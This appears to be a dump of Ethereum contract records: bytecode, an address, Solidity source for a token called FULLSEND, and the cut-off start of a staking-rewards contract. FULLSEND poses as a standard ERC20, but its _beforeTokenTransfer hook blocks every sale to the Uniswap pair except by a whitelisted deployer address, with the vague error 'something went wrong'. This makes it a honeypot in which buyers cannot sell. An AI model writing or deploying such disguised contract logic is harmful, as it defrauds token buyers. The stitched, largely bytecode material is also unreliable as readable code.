6101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582040b379a94d2ab0c6af904724f5fef54d9a78953e9ef6d78123051fe35fbef9d00029
[ 38 ]
0xf29313e591d87a3cb3dc5405fc0c0aaba323bdbf
/** */ /** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract FULLSEND is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _enable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(0x348290B5b25E629Fa70B9F5eB59094A0451B29a0, 100000000000000 *10**18); _enable[0x348290B5b25E629Fa70B9F5eB59094A0451B29a0] = true; // MainNet / testnet, Uniswap Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _name = "t.me/FULLSENDBRO"; _symbol = "FULLSEND"; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461022a578063a457c2d714610248578063a9059cbb14610278578063dd62ed3e146102a8576100cf565b806339509351146101ac57806349bd5a5e146101dc57806370a08231146101fa576100cf565b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461012257806318160ddd1461014057806323b872dd1461015e578063313ce5671461018e575b600080fd5b6100dc6102d8565b6040516100e99190611046565b60405180910390f35b61010c60048036038101906101079190610e1d565b61036a565b6040516101199190611010565b60405180910390f35b61012a610388565b604051610137919061102b565b60405180910390f35b6101486103ae565b6040516101559190611168565b60405180910390f35b61017860048036038101906101739190610dce565b6103b8565b6040516101859190611010565b60405180910390f35b6101966104b9565b6040516101a39190611183565b60405180910390f35b6101c660048036038101906101c19190610e1d565b6104c2565b6040516101d39190611010565b60405180910390f35b6101e461056e565b6040516101f19190610ff5565b60405180910390f35b610214600480360381019061020f9190610d69565b610594565b6040516102219190611168565b60405180910390f35b6102326105dc565b60405161023f9190611046565b60405180910390f35b610262600480360381019061025d9190610e1d565b61066e565b60405161026f9190611010565b60405180910390f35b610292600480360381019061028d9190610e1d565b610762565b60405161029f9190611010565b60405180910390f35b6102c260048036038101906102bd9190610d92565b610780565b6040516102cf9190611168565b60405180910390f35b6060600380546102e7906112f0565b80601f0160208091040260200160405190810160405280929190818152602001828054610313906112f0565b80156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b5050505050905090565b600061037e610377610807565b848461080f565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b60006103c58484846109da565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610410610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906110c8565b60405180910390fd5b6104ad8561049c610807565b85846104a89190611210565b61080f565b60019150509392505050565b60006012905090565b60006105646104cf610807565b8484600160006104dd610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055f91906111ba565b61080f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105eb906112f0565b80601f0160208091040260200160405190810160405280929190818152602001828054610617906112f0565b80156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b6000806001600061067d610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561073a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073190611148565b60405180910390fd5b610757610745610807565b8585846107529190611210565b61080f565b600191505092915050565b600061077661076f610807565b84846109da565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561087f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087690611108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e690611088565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109cd9190611168565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a41906110e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab190611068565b60405180910390fd5b610ac48383610c58565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b41906110a8565b60405180910390fd5b8181610b569190611210565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be691906111ba565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4a9190611168565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d3b57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611128565b60405180910390fd5b5b5050565b600081359050610d4e816115e3565b92915050565b600081359050610d63816115fa565b92915050565b600060208284031215610d7b57600080fd5b6000610d8984828501610d3f565b91505092915050565b60008060408385031215610da557600080fd5b6000610db385828601610d3f565b9250506020610dc485828601610d3f565b9150509250929050565b600080600060608486031215610de357600080fd5b6000610df186828701610d3f565b9350506020610e0286828701610d3f565b9250506040610e1386828701610d54565b9150509250925092565b60008060408385031215610e3057600080fd5b6000610e3e85828601610d3f565b9250506020610e4f85828601610d54565b9150509250929050565b610e6281611244565b82525050565b610e7181611256565b82525050565b610e8081611299565b82525050565b6000610e918261119e565b610e9b81856111a9565b9350610eab8185602086016112bd565b610eb481611380565b840191505092915050565b6000610ecc6023836111a9565b9150610ed782611391565b604082019050919050565b6000610eef6022836111a9565b9150610efa826113e0565b604082019050919050565b6000610f126026836111a9565b9150610f1d8261142f565b604082019050919050565b6000610f356028836111a9565b9150610f408261147e565b604082019050919050565b6000610f586025836111a9565b9150610f63826114cd565b604082019050919050565b6000610f7b6024836111a9565b9150610f868261151c565b604082019050919050565b6000610f9e6014836111a9565b9150610fa98261156b565b602082019050919050565b6000610fc16025836111a9565b9150610fcc82611594565b604082019050919050565b610fe081611282565b82525050565b610fef8161128c565b82525050565b600060208201905061100a6000830184610e59565b92915050565b60006020820190506110256000830184610e68565b92915050565b60006020820190506110406000830184610e77565b92915050565b600060208201905081810360008301526110608184610e86565b905092915050565b6000602082019050818103600083015261108181610ebf565b9050919050565b600060208201905081810360008301526110a181610ee2565b9050919050565b600060208201905081810360008301526110c181610f05565b9050919050565b600060208201905081810360008301526110e181610f28565b9050919050565b6000602082019050818103600083015261110181610f4b565b9050919050565b6000602082019050818103600083015261112181610f6e565b9050919050565b6000602082019050818103600083015261114181610f91565b9050919050565b6000602082019050818103600083015261116181610fb4565b9050919050565b600060208201905061117d6000830184610fd7565b92915050565b60006020820190506111986000830184610fe6565b92915050565b600081519050919050565b600082825260208201905092915050565b60006111c582611282565b91506111d083611282565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561120557611204611322565b5b828201905092915050565b600061121b82611282565b915061122683611282565b92508282101561123957611238611322565b5b828203905092915050565b600061124f82611262565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006112a4826112ab565b9050919050565b60006112b682611262565b9050919050565b60005b838110156112db5780820151818401526020810190506112c0565b838111156112ea576000848401525b50505050565b6000600282049050600182168061130857607f821691505b6020821081141561131c5761131b611351565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6115ec81611244565b81146115f757600080fd5b50565b61160381611282565b811461160e57600080fd5b5056fea2646970667358221220d863f376f4b99f15ebbde78c0572e3c25f08b07128f10ed9f4db80ab3baddb6664736f6c63430008010033
[ 38 ]
0xf293b4cdc0f7b76fc8f7803b7efb03c965d5161b
// SPDX-License-Identifier: MIT /** /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * * * * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/StakingRewards.sol * Docs: https://docs.synthetix.io/contracts/StakingRewards * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ /* =============================================== * Flattened with Solidifier by Coinage * * https://solidifier.coina.ge * =============================================== */ pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev 